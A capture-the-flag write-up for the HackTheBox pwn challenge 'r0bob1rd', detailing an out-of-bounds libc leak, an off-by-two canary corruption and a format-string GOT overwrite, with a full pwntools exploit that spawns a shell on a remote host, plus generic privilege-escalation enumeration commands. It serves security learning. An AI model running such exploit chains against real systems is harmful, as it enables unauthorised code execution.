← Back to Writeups
HTBN/APwn

r0bob1rd

XESXOR8/23/20269 min read
#pwn#htb#n/a

r0bob1rd

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: format_string_write, got_leak, got_overwrite_printf_to_system, off_by_two, oob_array_index, stack_chk_fail_hijack

Summary

A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format st

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260209_hackthebox_r0bob1rd
  • Tags: oob_read, format_string, got_overwrite, libc_leak, no_pie, canary_bypass, partial_relro, glibc_2.31
  • Indicators: printf(user_input) format string, Partial RELRO (writable GOT), No PIE, array index without bounds check, fgets size > buffer distance to canary
  • Source: 20260209_hackthebox_r0bob1rd.md

Foothold

Vulnerability / Misconfiguration

  1. Format_string_write
  2. Got_leak
  3. Got_overwrite_printf_to_system
  4. Off_by_two
  5. Oob_array_index
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • format_string_write
  • got_leak
  • got_overwrite_printf_to_system
  • off_by_two
  • oob_array_index
  • stack_chk_fail_hijack
  • Tags: oob_read, format_string, got_overwrite, libc_leak, no_pie, canary_bypass, partial_relro, glibc_2.31

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format string bug for arbitrary GOT writes.

Remote: nc 154.57.164.77:32657

Files

  • r0bob1rd — ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
  • glibc/libc.so.6 — GLIBC 2.31-0ubuntu9.9 (Ubuntu 20.04)
  • glibc/ld.so.2 — Dynamic linker

Analysis

Binary Properties

PropertyValue
Archx86-64
RELROPartial (GOT writable)
Stack CanaryEnabled
NXEnabled
PIEDisabled (base 0x400000)
StrippedNo
LibcGLIBC 2.31-0ubuntu9.9

Key Addresses

SymbolAddress
robobirdNames (array)0x6020a0
puts@GOT0x602020
__stack_chk_fail@GOT0x602028
printf@GOT0x602030
main0x400c0f
operation0x400aca
pop rdi; ret0x400cc3
ret0x40074e

Program Flow

  1. Prints a banner and a table of 10 bird names (IDs 0–9)
  2. Prompts "Select a R0bob1rd >" — reads an integer via scanf("%d")
  3. Valid ID (0–9): dereferences robobirdNames[id] pointer and prints the bird name with printf("%s", *ptr)
  4. Out-of-range ID: passes the ADDRESS &robobirdNames[id] directly to printf("%s", addr) — reads raw bytes at that computed address as a string
  5. Calls getchar() to consume the newline
  6. Prompts "Enter bird's little description" and reads input with fgets(buf, 0x6a, stdin) — 106 bytes max into a buffer at rbp-0x70
  7. Prints "Crafting..", sleeps 2 seconds, prints a bird animation, prints "[Description]"
  8. Calls printf(buf)FORMAT STRING VULNERABILITY with user-controlled input
  9. Checks stack canary — if corrupted, calls __stack_chk_fail
  10. leave; ret

Vulnerability 1: OOB Array Read (Libc Leak)

robobirdNames is an array of 10 char* pointers at 0x6020a0. When bird_id is outside 0–9, the code computes &robobirdNames[bird_id] and passes this address (not the dereferenced pointer) to printf("%s", ...).

With bird_id = -16:

address = 0x6020a0 + (-16) * 8 = 0x602020 = puts@GOT

printf reads the bytes at puts@GOT as a string, leaking the libc address of puts. From the leak:

libc_base = leaked_puts - 0x84420

Vulnerability 2: Off-by-Two Buffer Overflow (Canary Corruption)

Buffer:  rbp-0x70  (112 bytes from rbp)
Canary:  rbp-0x08  (8 bytes)
Gap:     0x70 - 0x08 = 0x68 = 104 bytes
fgets:   reads up to 0x6a = 106 bytes (105 chars + null)

Sending 104 bytes + newline: fgets stores 104 bytes + '\n' at buf[104] + '\0' at buf[105]. buf[104] is the first byte of the canary — overwritten with 0x0a (newline), corrupting it. This guarantees __stack_chk_fail will be called.

Vulnerability 3: Format String Bug (Arbitrary Write)

printf(buf) at 0x400bf3 uses user input directly as the format string. The buffer starts at printf argument offset 8 (verified by sending %p patterns). Full %n/%hn/%hhn write capability to any address. Since Partial RELRO leaves the GOT writable, we can overwrite GOT entries.

Solution

Strategy: 2-Pass GOT Overwrite

The exploit chains all three vulnerabilities in two passes through the operation() function:

Pass 1: Leak libc + overwrite printf@GOTsystem() and __stack_chk_fail@GOToperation() Pass 2: Send "sh" as description → printf("sh") becomes system("sh")SHELL

Pass 1: Leak + GOT Overwrite

  1. Send bird_id = -16 to leak puts@GOT → compute libc_base → compute system() address
  2. Craft a 104-byte format string payload that performs 4 × %hn writes:
  • Overwrite printf@GOT (0x602030) with system() address (3 × %hn for 6 bytes: low, mid, high)
  • Overwrite __stack_chk_fail@GOT (0x602028) with operation() address (1 × %hn, low 2 bytes only — both are in 0x400000 range)
  1. The 104-byte payload + newline corrupts the canary → triggers __stack_chk_fail
  2. __stack_chk_fail@GOT now points to operation()program loops back (skipping printRobobirds which would call printf/system with garbage)

Pass 2: Trigger Shell

  1. Now ALL printf() calls are actually system() calls
  2. The program calls system("Select a R0bob1rd > "), system("\nYou've chosen: %s"), etc. — these fail with shell syntax errors but don't consume stdin
  3. Send "sh" as the bird description
  4. When the program reaches printf(buf), it actually calls system("sh")SHELL!

Format String Payload Layout

[format specifiers (72 bytes)] [addresses (4 × 8 = 32 bytes)]
|<------------ 104 bytes total ------------>|

The 4 %hn writes are sorted by value (ascending) to minimize padding:

%{val1}c%{param1}$hn%{val2-val1}c%{param2}$hn%{val3-val2}c%{param3}$hn%{val4-val3}c%{param4}$hn

Each address is placed at the end of the 104-byte buffer, and the %hn parameter index points to the corresponding 8-byte slot at offset 8 + (72/8 + i).

Key Insights

  • printf@GOT → system is elegant because printf(user_input) becomes system(user_input)
  • __stack_chk_fail → operation() instead of main() avoids printRobobirds() which would call printf (now system) 10 times with table formatting characters
  • The ~60KB of format string output (from %Nc padding) must be drained to prevent the program from blocking on write()
  • system() with /bin/sh -c doesn't read from stdin for syntax errors, so the intermediate system() calls with garbage strings just return without consuming our input

Exploit

#!/usr/bin/env python3
"""
r0bob1rd - HackTheBox PWN Challenge Exploit
============================================
Pass 1: Leak libc via OOB + overwrite printf@GOT→system, __stack_chk_fail@GOT→operation
Pass 2: system("sh") via hijacked printf
"""

from pwn import *
import sys, time

HOST = "154.57.164.77"
PORT = 32657
LOCAL = "--local" in sys.argv

context.arch = "amd64"
context.log_level = "debug" if "--debug" in sys.argv else "info"

elf = ELF("./r0bob1rd")
libc = ELF("./glibc/libc.so.6")

PRINTF_GOT = elf.got["printf"]
STACK_CHK_FAIL_GOT = elf.got["__stack_chk_fail"]
OPERATION_ADDR = elf.symbols["operation"]
FMT_OFFSET = 8


def build_writes(writes, total_size=104):
    n = len(writes)
    addr_bytes = n * 8
    fmt_space = total_size - addr_bytes

    indexed = sorted(enumerate(writes), key=lambda x: x[1][1])

    param_for_sorted = []
    for sort_pos, (orig_idx, (addr, val)) in enumerate(indexed):
        byte_offset = fmt_space + sort_pos * 8
        param = FMT_OFFSET + byte_offset // 8
        param_for_sorted.append((addr, val, param))

    fmt = b""
    printed = 0
    for addr, val, param in param_for_sorted:
        needed = (val - printed) % 0x10000
        if needed == 0:
            needed = 0x10000
        fmt += f"%{needed}c%{param}$hn".encode()
        printed = (printed + needed) % 0x10000

    if len(fmt) > fmt_space:
        log.error(f"Format too long: {len(fmt)} > {fmt_space}")
        return None

    log.info(f"Format: {len(fmt)}/{fmt_space} bytes")

    payload = fmt.ljust(fmt_space, b".")
    for addr, val, param in param_for_sorted:
        payload += p64(addr)

    assert len(payload) == total_size
    return payload


def drain(p, timeout_sec=3):
    """Drain all available data with given timeout."""
    total = 0
    while True:
        try:
            chunk = p.recv(8192, timeout=timeout_sec)
            if not chunk:
                break
            total += len(chunk)
        except:
            break
    return total


def exploit():
    if LOCAL:
        p = process("./r0bob1rd")
    else:
        p = remote(HOST, PORT, timeout=30)

    # ================================================================
    # PASS 1: Leak libc + GOT overwrite
    # ================================================================
    log.info("=== PASS 1: Leak + GOT overwrite ===")

    p.recvuntil(b"R0bob1rd > ")
    p.sendline(b"-16")

    p.recvuntil(b"You've chosen: ")
    data = p.recvuntil(b"Enter bird")
    leak_bytes = data[: -len(b"\n\nEnter bird")]

    leaked_puts = u64(leak_bytes.ljust(8, b"\x00"))
    libc.address = leaked_puts - libc.symbols["puts"]
    log.success(f"libc @ {hex(libc.address)}")

    if libc.address & 0xFFF:
        log.error("Misaligned!")
        p.close()
        return

    system = libc.symbols["system"]
    log.info(f"system @ {hex(system)}")

    writes = [
        (PRINTF_GOT, system & 0xFFFF),
        (PRINTF_GOT + 2, (system >> 16) & 0xFFFF),
        (PRINTF_GOT + 4, (system >> 32) & 0xFFFF),
        (STACK_CHK_FAIL_GOT, OPERATION_ADDR & 0xFFFF),
    ]

    payload = build_writes(writes, total_size=104)
    if payload is None:
        p.close()
        return

    p.recvuntil(b">> ")
    p.sendline(payload)

    log.info("Payload sent. Draining ~60KB of output...")

    n = drain(p, timeout_sec=3)
    log.info(f"Drained {n} bytes")

    # ================================================================
    # PASS 2: Send inputs for shell
    # ================================================================
    log.info("=== PASS 2: Trigger system('sh') ===")

    p.sendline(b"0")
    log.info("Sent bird_id '0'")

    try:
        p.recvuntil(b"description", timeout=5)
        log.info("Got description prompt")
    except:
        log.warning("Didn't see description prompt")

    time.sleep(0.3)

    p.sendline(b"sh")
    log.info("Sent 'sh'")

    # Drain usleep(2s) + start_screen output
    n2 = drain(p, timeout_sec=4)
    log.info(f"Drained {n2} bytes")

    # Shell should be active now!
    log.info("Shell active! Getting flag...")

    p.sendline(b"cat flag*")
    time.sleep(1)
    p.sendline(b"cat /flag*")
    time.sleep(1)

    try:
        output = p.recv(timeout=5)
        result = output.decode(errors="replace")
        log.success(f"Output:\n{result}")

        import re
        flags = re.findall(r"HTB\{[^}]+\}", result)
        if flags:
            log.success(f"FLAG: {flags[0]}")
    except:
        log.warning("Error receiving output")

    p.interactive()


if __name__ == "__main__":
    exploit()

Lessons Learned

  1. Canary corruption as a feature, not a bug — Instead of trying to preserve the canary, deliberately corrupt it and hijack __stack_chk_fail@GOT to redirect execution flow. The canary becomes a controlled jump.

  2. printf@GOT → system is the classic GOT overwrite — When you control the first argument to printf (format string), overwriting it with system gives you system(user_input) for free.

  3. operation() vs main() for loop target — Redirecting __stack_chk_fail to operation() instead of main() avoids re-executing printRobobirds(), which would call the now-hijacked printf (= system) with garbage strings 10 times.

  4. Drain format string output — Large %Nc padding in format string writes generates ~60KB of output. If not drained, the program blocks on write() and never reaches the next input prompt.

  5. system() with invalid commands is harmless — When printf@GOT is overwritten with system, intermediate calls like system("Select a R0bob1rd > ") fail with shell syntax errors but don't consume stdin, so subsequent input still reaches the right place.

  6. OOB array indexing for GOT leaks — When an array of pointers is near the GOT and the binary passes &array[id] (not *array[id]) to printf("%s") for OOB indices, you can read GOT entries as raw bytes. The offset calculation: id = (GOT_addr - array_addr) / sizeof(pointer).

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR